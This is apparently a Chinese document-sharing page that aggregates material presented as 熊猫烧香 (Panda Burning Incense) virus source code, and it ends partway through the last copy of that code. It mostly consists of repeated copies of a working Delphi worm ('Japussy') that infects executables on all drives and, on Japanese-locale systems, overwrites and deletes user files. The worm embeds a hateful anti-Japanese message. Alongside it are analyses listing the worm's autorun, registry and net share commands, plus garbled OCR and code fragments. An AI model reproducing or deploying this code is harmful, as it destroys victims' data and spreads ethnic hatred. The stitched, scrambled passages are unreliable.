熊猫烧香病毒源代码

合集下载

熊猫烧香计算机感染病毒算法设计代码

熊猫烧香计算机感染病毒算法设计代码
}
else
{
mg.m[i][j].dl=0-a;
}//if
}//for
}
}//MGraphCreat
ShuZu xzhyuan()
{
ShuZu q;
int p=0;
for(int i=0;i<mg.row;i++)
for(int j=0;j<mg.col;j++)
}
cout<<endl;
ShuZu q;
q=xzhyuan();
cout<<q.numb;
int nowday=1;
while(q.numb<mg.col*mg.row)
{
chuanran(q,nowday);
for(int s=0;s<mg.row;s++)
for(int t=0;t<mg.col;t++)
{
cout<<mg.m[s][t].vt;
}
q=xzhyuan();
nowday++;
}
count(q);
return 0;
}
{
mg.m[q.n[v].r+1][q.n[v].c].vt=mg.m[q.n[v].r][q.n[v].c].vt;
m++;
}
if(q.n[v].r-1>=0&&mg.m[q.n[v].r-1][q.n[v].c].vt==0&&mg.m[q.n[v].r-1][q.n[v].c].dl<=nowday{

“熊猫烧香”病毒取证鉴定技术研究

“熊猫烧香”病毒取证鉴定技术研究
期在磁 盘的根 目录下生成 stpe e 病 eu . ( x 毒 本 身 ) uo u . f并利 用 A tR n a tr ni n uo u Op n e 关联 使病 毒在用户点击被 感染磁 盘 时能被 自动运行。
连接 到指定 的病毒 网址中下载病毒。在
硬盘各个分 区下生成 文件 a t u . f uo ni 和 r n
进 行联 接 ( 测被 攻击端 的密码 ) 猜 。当 成 功地联 接上以后将 自己复制并利用计 划任务启动激活病毒 ;修改操作系统 的 启动关联 ; 下载文件启动 ;与杀 毒软件
对抗 。
X 、Wi 0 3;病 毒具 体 描述 :熊 猫 P n2 0 烧香是 一种蠕虫病 毒 ,而且多 次变种。
无法使用 g ot h s 软件恢复操作系统。熊
猫烧香感染系统的 ee o 、pf r、 x、c r i c n 、s
hml s t 、a p文件 ,添加 病 毒 网址 ,导 致
用户一打开这些网页文件,I E就会 自动
32生 成 a trnif . uou . n
病 毒建 立一个 计 时器 以 06秒为周 .
图案,被感 染 的用户系统 中所有 e e x 可 执行文 件全 部 被改 成 熊猫举 着三根 香 的模样,因此被称为 “ 熊猫烧香”病毒 。
内容包括 :鉴定检材中是否存在制作传 播病毒 的证据 ; 鉴定病毒编写的相关 时 间信息及病毒制作方式 ;提取病毒样本
及与案件相关的其他证据。
D ME SO 55 ) 高速硬 盘复制机 、 I N I N 10 、 四 合一只读读卡器 、取证硬盘 、各 类接口
stpee eu . ,可以通过 U盘和移动硬 盘等 x 方 式 进行 传 播,并且 利用 Wid w 系 nos 统的自动播放功能来 运行,搜 索硬 盘中 的 ee x 可执行文件并感染 ,感 染后的文

熊猫烧香的传播方式和源代码

熊猫烧香的传播方式和源代码

熊猫烧香的传播方式和源代码推荐文章庆祝建党95周年诗歌朗诵词热度:中国茶文化传播历程热度:中国茶文化的传播历程热度:马克思主义传播中国的转换模式热度:除夕可不可以去寺庙上香热度:熊猫烧香的传播方式和源代码是什么呢!下面由店铺为您提供熊猫烧香的传播方式和源代码,希望能帮助您。

熊猫烧香的传播方式和源代码:这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程1拷贝文件病毒运行后,会把自己拷贝到C:\WINDOWS\System32\Drivers\spoclsv.exe2添加注册表自启动病毒会添加自启动项svcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe3病毒行为a:每隔1秒寻找桌面窗口,并关闭窗口标题中含有以下字符的程序QQKavQQAV防火墙进程VirusScan网镖杀毒毒霸瑞星江民黄山IE超级兔子优化大师木马克星木马清道夫QQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒Symantec AntiVirusDuba熊猫烧香esteem proces绿鹰PC密码防盗噬菌体木马辅助查找器System Safety MonitorWrapped gift KillerWinsock Expert游戏木马检测大师msctls_statusbar32pjf(ustc)IceSword并使用的键盘映射的方法关闭安全软件IceSword添加注册表使自己自启动HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\Runsvcshare -> C:\WINDOWS\System32\Drivers\spoclsv.exe并中止系统中以下的进程:Mcshield.exeVsTskMgr.exenaPrdMgr.exeUpdaterUI.exeTBMon.exescan32.exeRavmond.exeCCenter.exeRavTask.exeRav.exeRavmon.exeRavmonD.exeRavStub.exe熊猫烧香KVXP.kxpkvMonXP.kxpKVCenter.kxpKVSrvXP.exeKRegEx.exeUIHost.exeTrojDie.kxpFrogAgent.exeLogo1_.exeLogo_1.exeRundl132.exeb:每隔18秒点击病毒作者指定的网页,并用命令行检查系统中是否存在共享共享存在的话就运行net share命令关闭admin$共享c:每隔10秒下载病毒作者指定的文件,并用命令行检查系统中是否存在共享共享存在的话就运行net share命令关闭admin$共享d:每隔6秒删除安全软件在注册表中的键值HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu rrentVersion\RunRavTaskKvMonXPkavKAVPersonal50McAfeeUpdaterUINetwork Associates Error Reporting ServiceShStartEXEYLive.exeyassistse并修改以下值不显示隐藏文件HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cu rrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL CheckedValue -> 0x00删除以下服务:navapsvcwscsvcKPfwSvcSNDSrvcccProxyccEvtMgrccSetMgrSPBBCSvcSymantec Core LCNPFMntorMskServiceFireSvce:感染文件病毒会感染扩展名为exe,pif,com,src的文件,把自己附加到文件的头部并在扩展名为htm,html,asp,php,jsp,aspx的文件中添加一网址,用户一但打开了该文件,IE就会不断的在后台点击写入的网址,达到增加点击量的目的,但病毒不会感染以下文件夹名中的文件:熊猫烧香WINDOWWinntSystem Volume InformationRecycledWindows NTWindowsUpdateWindows Media PlayerOutlook ExpressInternet ExplorerNetMeetingCommon FilesComPlus ApplicationsMessengerInstallShield Installation InformationMSNMicrosoft FrontpageMovie MakerMSN Gamin Zoneg:删除文件病毒会删除扩展名为gho的文件,该文件是一系统备份工具GHOST的备份文件使用户的系统备份文件丢失.瑞星病毒分析报告:“Nimaya(熊猫烧香)”这是一个传染型的DownLoad 使用Delphi编写。

熊猫烧香变种资料

熊猫烧香变种资料

病毒大小:22,886 字节加壳方式:UPack样本MD5:9749216a37d57cf4b2e528c027252062样本SHA1:5d3222d8ab6fc11f899eff32c2c8d3cd50cbd755发现时间:2006.11更新时间:2006.11关联病毒:传播方式:通过恶意网页传播,其它木马下载,可通过局域网、移动存储设备等传播技术分析==========又是“熊猫烧香”FuckJacks.exe的变种,和之前的变种一样使用白底熊猫烧香图标,病毒运行后复制自身到系统目录下:%System%\drivers\spoclsv.exe创建启动项:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] "svcshare"="%System%\drivers\spoclsv.exe"修改注册表信息干扰“显示所有文件和文件夹”设置:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanc ed\Folder\Hidden\SHOW ALL]"CheckedValue"=dword:00000000在各分区根目录生成副本:X:\setup.exeX:\autorun.infautorun.inf内容:[AutoRun]OPEN=setup.exeshellexecute=setup.exeshell\Auto\command=setup.exe尝试关闭下列窗口:QQKavQQA VVirusScanSymantec AntiVirusDubaWindowsesteem procsSystem Safety Monitor Wrapped gift Killer Winsock Expert msctls_statusbar32pjf(ustc)IceSword结束一些对头的进程:Mcshield.exe VsTskMgr.exe naPrdMgr.exe UpdaterUI.exe TBMon.exescan32.exe Ravmond.exe CCenter.exe RavTask.exeRav.exeRavmon.exe RavmonD.exe RavStub.exeKVXP.kxp KvMonXP.kxp KVCenter.kxp KVSrvXP.exe KRegEx.exe UIHost.exeTrojDie.kxp FrogAgent.exeLogo1_.exeLogo_1.exeRundl132.exe禁用一系列服务:Schedule sharedaccess RsCCenter RsRavMon RsCCenter RsRavMonKVWSCKVSrvXPkavsvcA VPMcAfeeFrameworkMcShieldMcTaskManagernavapsvcwscsvcKPfwSvcSNDSrvcccProxyccEvtMgrccSetMgrSPBBCSvcSymantec Core LCNPFMntorMskServiceFireSvc删除若干安全软件启动项信息:RavTaskKvMonXPkavKA VPersonal50McAfeeUpdaterUINetwork Associates Error Reporting ServiceShStatEXEYLive.exeyassistse使用net share命令删除管理共享:net share X$ /del /ynet share admin$ /del /ynet share IPC$ /del /y遍历目录,感染除以下系统目录外其它目录中的exe、com、scr、pif文件:X:\WINDOWSX:\WinntX:\System Volume InformationX:\Recycled%ProgramFiles%\Windows NT%ProgramFiles%\WindowsUpdate%ProgramFiles%\Windows Media Player%ProgramFiles%\Outlook Express%ProgramFiles%\Internet Explorer%ProgramFiles%\NetMeeting%ProgramFiles%\Common Files%ProgramFiles%\ComPlus Applications%ProgramFiles%\Messenger%ProgramFiles%\InstallShield Installation Information%ProgramFiles%\MSN%ProgramFiles%\Microsoft Frontpage%ProgramFiles%\Movie Maker%ProgramFiles%\MSN Gamin Zone将自身捆绑在被感染文件前端,并在尾部添加标记信息:.WhBoy{原文件名}.exe.{原文件大小}.与之前变种不同的是,这个病毒体虽然是22886字节,但是捆绑在文件前段的只有22838字节,被感染文件运行后会出错,而不会像之前变种那样释放出{原文件名}.exe的原始正常文件。

熊猫烧香病毒源代码

熊猫烧香病毒源代码

熊猫烧⾹病毒源代码熊猫烧⾹原代码熊猫烧⾹, ⼗六进制, Windows, 源代码, 字符串熊猫烧⾹源代码program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的⼤⼩IconOffset = EB8; //PE⽂件主图标的偏移量//在我的Delphi5 SP1上⾯编译得到的⼤⼩,其它版本的Delphi可能不同//查找2800000020的⼗六进制字符串可以找到主图标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的⼤⼩IconOffset = BC; //Upx压缩过PE⽂件主图标的偏移量//Upx 1.24W ⽤法: upx -9 --8086 Japussy.exe}IconSize = E8; //PE⽂件主图标的⼤⼩--744字节IconTail = IconOffset + IconSize; //PE⽂件主图标的尾部ID = 444444; //感染标记//垃圾码,以备写⼊Catchword = 'If a race need to be killed out, it must be Yamato. ' +'If a country need to be destroyed, it must be Japan! ' +'*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;stdcall; external 'Kernel32.dll'; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //⽇⽂操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9xResult := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主⽂件从已感染的PE⽂件中分离出来,以备使⽤ }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之?end;{ 感染PE⽂件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则⽂件正在被使⽤,退出if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是⾃⼰则不感染Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to 8 do //检查PE⽂件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记beginIsPE := True; //是PE⽂件Break;end;end;SrcStream.Seek(-4, soFromEnd); //检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then //太⼩的⽂件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE⽂件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染⽂件的主图标(744字节),存⼊流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头⽂件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); try//写⼊病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写⼊⽬前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写⼊病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);//写⼊宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写⼊已感染的标记DstStream.Seek(0, 2);iID := 444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主⽂件DstStream.Free;end;except;end;end;{ 将⽬标⽂件写⼊垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintrySetFileAttributes(PChar(FileName), 0); //去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开⽂件trySize := GetFileSize(FileHandle, nil); //⽂件⼤⼩i := 0;Randomize;Max := Random(15); //写⼊垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的⼤⼩Len := Length(Catchword);while i < Max dobeginFileSeek(FileHandle, i * Mass, 0); //定位//写⼊垃圾码,将⽂件彻底破坏掉FileWrite(FileHandle, Catchword, Len);Inc(i);end;finallyFileClose(FileHandle); //关闭⽂件end;DeleteFile(PChar(FileName)); //删除之exceptend;end;{ 获得可写的驱动器列表 }function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + ':\';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和⽹络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then Result := Result + D;end;end;{ 遍历⽬录,感染和摧毁⽂件 }procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr <> 16) and ( <> '.') and ( <> '..') thenResult := 0 //不是⽬录else if (SearchRec.Attr = 16) and ( <> '.') and ( <> '..') thenResult := 1 //不是根⽬录else Result := 2; //是根⽬录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') thenbeginInfectOneFile(Fn); //感染可执⾏⽂件endelse if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') thenbegin//感染HTML和ASP⽂件,将Base64编码后的病毒写⼊//感染浏览此⽹页的所有⽤户//哪位⼤兄弟愿意完成之?endelse if Ext = '.WAB' then //Outlook地址簿⽂件begin//获取Outlook邮件地址endelse if Ext = '.ADC' then //Foxmail地址⾃动完成⽂件begin//获取Foxmail邮件地址endelse if Ext = 'IND' then //Foxmail地址簿⽂件begin//获取Foxmail邮件地址endelsebeginif IsJap then //是倭⽂操作系统beginif (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') thenSmashFile(Fn); //摧毁⽂件end;end;end;//感染或删除⼀个⽂件后睡眠200毫秒,避免CPU占⽤率过⾼引起怀疑Sleep(200);until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);SubDir := TStringList.Create;if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) thenbeginrepeatif IsValidDir(SearchRec) = 1 thenSubDir.Add();until (FindNext(SearchRec) <> 0);end;FindClose(SearchRec);Count := SubDir.Count - 1;for i := 0 to Count doLoopFiles(Path + SubDir.Strings + '\', Mask);FreeAndNil(SubDir);end;{ 遍历磁盘上所有的⽂件 }procedure InfectFiles;varDriverList: string;i, Len: Integer;beginif GetACP = 932 then //⽇⽂操作系统IsJap := True; //去死吧!DriverList := GetDrives; //得到可写的磁盘列表Len := Length(DriverList);while True do //死循环beginfor i := Len downto 1 do //遍历每个磁盘驱动器LoopFiles(DriverList + ':\', '*.*'); //感染之SendMail; //发带毒邮件Sleep(1000 * 60 * 5); //睡眠5分钟end;end;{ 主程序开始 }beginif IsWin9x then //是Win9xRegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程else //WinNTbegin//远程线程映射到Explorer进程//哪位兄台愿意完成之?end;//如果是原始病毒体⾃⼰if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then InfectFiles //感染和发邮件else //已寄⽣于宿主程序上了,开始⼯作beginTmpFile := ParamStr(0); //创建临时⽂件Delete(TmpFile, Length(TmpFile) - 4, 4);TmpFile := TmpFile + #32 + '.exe'; //真正的宿主⽂件,多⼀个空格ExtractFile(TmpFile); //分离之FillStartupInfo(Si, SW_SHOWDEFAULT);CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,0, nil, '.', Si, Pi); //创建新进程运⾏之InfectFiles; //感染和发邮件end;end.。

熊猫烧香病毒源代码!!

熊猫烧香病毒源代码!!
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max &lt; 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);

熊猫烧香病毒清除方法有哪些

熊猫烧香病毒清除方法有哪些

熊猫烧香病毒清除方法有哪些电脑病毒看不见,却无处不在,有时防护措施不够或者不当操作都会导致病毒入侵。

熊满烧香是之前很经典也是很可怕的一种病毒,那么具体有什么预防和处理办法呢?方法步骤1. 断开网络(必要)2. 结束病毒进程%System%\drivers\spoclsv.exe3. 删除病毒文件:c:\windows\system32\drivers\spoclsv.exe注意:打开C盘要右键-开打,否则仁兄就要功亏一篑,就要重复2的步骤!4. 修改注册表设置,恢复“显示所有文件和文件夹”选项功能:[Copy to clipboard]CODE:[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\C urrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL]"CheckedValue"=dword:00000001本步骤针对病毒将显示隐藏文件禁用的情况5. 右键点击分区盘符,点击右键菜单中的“打开”进入分区根目录,删除根目录下的文件:X:\setup.exeX:\autorun.inf6. 删除病毒创建的启动项:[Copy to clipboard]CODE:[HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run]"svcshare"="%System%\drivers\spoclsv.exe"7. 使用专杀工具进行全盘扫描,清除恢复被感染的exe文件推荐使用软件:NimayaKiller相关阅读:2018网络安全事件:一、英特尔处理器曝“Meltdown”和“Spectre漏洞”2018年1月,英特尔处理器中曝“Meltdown”(熔断)和“Spectre” (幽灵)两大新型漏洞,包括AMD、ARM、英特尔系统和处理器在内,几乎近20年发售的所有设备都受到影响,受影响的设备包括手机、电脑、服务器以及云计算产品。

熊猫烧香病毒之专杀工具的编写教程

熊猫烧香病毒之专杀工具的编写教程

熊猫烧香病毒之专杀工具的编写教程通过对熊猫烧香的行为分析,这里仅针对所得结果,来进行专杀工具的编写。

本节课我们会学习使用C++来写一个简单的“熊猫烧香”专杀系统。

实验目的:结合本篇文章的知识点,能够彻底掌握文章所讲述的编写杀毒软件的方法。

实验思路:1.理解专杀工具所需要实现的功能2.利用VC++编写专杀工具3.结合Process Monitor验证专杀工具实验步骤:1、病毒行为回顾与归纳这里我们首先回顾一下病毒的行为:**病毒行为1:**病毒本身创建了名为`spoclsv.exe`的进程,该进程文件的路径为:C:WINDOWSsystem32driversspoclsv.exe**病毒行为2:**在命令行模式下使用`net share`命令来取消系统中的共享。

**病毒行为3:**删除安全类软件在注册表中的启动项。

**病毒行为4:**在注册表:HKCUSoftwareMicrosoftWindowsCurrentVersionRun中创建svcshare用于在开机时启动位于`C:WINDOWSsystem32driversspoclsv.exe`的病毒程序。

**病毒行为5:**修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为:HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL 病毒将`CheckedValue`的键值设置为了0。

**病毒行为6:**将自身拷贝到根目录,并命名为`setup.exe`,同时创建`autorun.inf`用于病毒的启动,这两个文件的属性都是“隐藏”。

**病毒行为7:**在一些目录中创建名为`Desktop_.ini`的隐藏文件。

**病毒行为8:**向外发包,连接局域网中其他机器。

纵观以上八点行为,这里需要说明的是,其中的第二点行为,由于我不知道用户计算机在中毒前的设置,因此这条我打算忽略。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

“熊猫烧香”简介:“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。

采用“熊猫烧香”头像作为图标。

它的变种会感染EXE可执行文件,被病毒感染的文件图标均变为“熊猫烧香”。

同时,受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。

该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。

目前已有百万台电脑受害。

program Japussy;usesWindows, SysUtils, Classes, Graphics, ShellAPI{, Registry};constHeaderSize = 82432; //病毒体的大小IconOffset = $12EB8; //PE文件主图标的偏移量//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同//查找2800000020的十六进制字符串可以找到主图标的偏移量{HeaderSize = 38912; //Upx压缩过病毒体的大小IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量//Upx 1.24W 用法: upx -9 --8086 Japussy.exe}IconSize = $2E8; //PE文件主图标的大小--744字节IconTail = IconOffset + IconSize; //PE文件主图标的尾部ID = $44444444; //感染标记//垃圾码,以备写入Catchword = 'If a race need to be killed out, it must be Yamato. ' +'If a country need to be destroyed, it must be Japan! ' +'*** W32.Japussy.Worm.A ***';{$R *.RES}function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明varTmpFile: string;Si: STARTUPINFO;Pi: PROCESS_INFORMATION;IsJap: Boolean = False; //日文操作系统标记{ 判断是否为Win9x }function IsWin9x: Boolean;varVer: TOSVersionInfo;beginResult := False;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);if not GetVersionEx(Ver) thenExit;if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9xResult := True;end;{ 在流之间复制 }procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer);varsCurPos, dCurPos: Integer;beginsCurPos := Src.Position;dCurPos := Dst.Position;Src.Seek(sStartPos, 0);Dst.Seek(dStartPos, 0);Dst.CopyFrom(Src, Count);Src.Seek(sCurPos, 0);Dst.Seek(dCurPos, 0);end;{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }procedure ExtractFile(FileName: string);varsStream, dStream: TFileStream;begintrysStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNon e);trydStream := TFileStream.Create(FileName, fmCreate);trysStream.Seek(HeaderSize, 0); //跳过头部的病毒部分dStream.CopyFrom(sStream, sStream.Size - HeaderSize);finallydStream.Free;end;finallysStream.Free;end;exceptend;end;{ 填充STARTUPINFO结构 }procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);beginSi.cb := SizeOf(Si);Si.lpReserved := nil;Si.lpDesktop := nil;Si.lpTitle := nil;Si.dwFlags := STARTF_USESHOWWINDOW;Si.wShowWindow := State;Si.cbReserved2 := 0;Si.lpReserved2 := nil;end;{ 发带毒邮件 }procedure SendMail;begin//哪位仁兄愿意完成之?end;{ 感染PE文件 }procedure InfectOneFile(FileName: string);varHdrStream, SrcStream: TFileStream;IcoStream, DstStream: TMemoryStream;iID: LongInt;aIcon: TIcon;Infected, IsPE: Boolean;i: Integer;Buf: array[0..1] of Char;begintry //出错则文件正在被使用,退出if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染Exit;Infected := False;IsPE := False;SrcStream := TFileStream.Create(FileName, fmOpenRead);tryfor i := 0 to $108 do //检查PE文件头beginSrcStream.Seek(i, soFromBeginning);SrcStream.Read(Buf, 2);if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记beginIsPE := True; //是PE文件Break;end;end;SrcStream.Seek(-4, soFromEnd); //检查感染标记SrcStream.Read(iID, 4);if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染Infected := True;finallySrcStream.Free;end;if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出Exit;IcoStream := TMemoryStream.Create;DstStream := TMemoryStream.Create;tryaIcon := TIcon.Create;try//得到被感染文件的主图标(744字节),存入流aIcon.ReleaseHandle;aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);aIcon.SaveToStream(IcoStream);finallyaIcon.Free;end;SrcStream := TFileStream.Create(FileName, fmOpenRead);//头文件HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDeny None);try//写入病毒体主图标之前的数据CopyStream(HdrStream, 0, DstStream, 0, IconOffset);//写入目前程序的主图标CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);//写入病毒体主图标到病毒体尾部之间的数据CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); //写入宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);//写入已感染的标记DstStream.Seek(0, 2);iID := $44444444;DstStream.Write(iID, 4);finallyHdrStream.Free;end;finallySrcStream.Free;IcoStream.Free;DstStream.SaveToFile(FileName); //替换宿主文件DstStream.Free;end;except;end;end;{ 将目标文件写入垃圾码后删除 }procedure SmashFile(FileName: string);varFileHandle: Integer;i, Size, Mass, Max, Len: Integer;begintrySetFileAttributes(PChar(FileName), 0); //去掉只读属性FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件 trySize := GetFileSize(FileHandle, nil); //文件大小i := 0;Randomize;Max := Random(15); //写入垃圾码的随机次数if Max < 5 thenMax := 5;Mass := Size div Max; //每个间隔块的大小Len := Length(Catchword);while i < Max dobeginFileSeek(FileHandle, i * Mass, 0); //定位//写入垃圾码,将文件彻底破坏掉FileWrite(FileHandle, Catchword, Len);Inc(i);end;finallyFileClose(FileHandle); //关闭文件end;DeleteFile(PChar(FileName)); //删除之exceptend;end;{ 获得可写的驱动器列表 }function GetDrives: string;varDiskType: Word;D: Char;Str: string;i: Integer;beginfor i := 0 to 25 do //遍历26个字母beginD := Chr(i + 65);Str := D + ':\';DiskType := GetDriveType(PChar(Str));//得到本地磁盘和网络盘if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) thenResult := Result + D;end;end;{ 遍历目录,感染和摧毁文件 }procedure LoopFiles(Path, Mask: string);vari, Count: Integer;Fn, Ext: string;SubDir: TStrings;SearchRec: TSearchRec;Msg: TMsg;function IsValidDir(SearchRec: TSearchRec): Integer;beginif (SearchRec.Attr <> 16) and ( <> '.') and( <> '..') thenResult := 0 //不是目录else if (SearchRec.Attr = 16) and ( <> '.') and( <> '..') thenResult := 1 //不是根目录else Result := 2; //是根目录end;beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑 if IsValidDir(SearchRec) = 0 thenbeginFn := Path + ;Ext := UpperCase(ExtractFileExt(Fn));if (Ext = '.EXE') or (Ext = '.SCR') 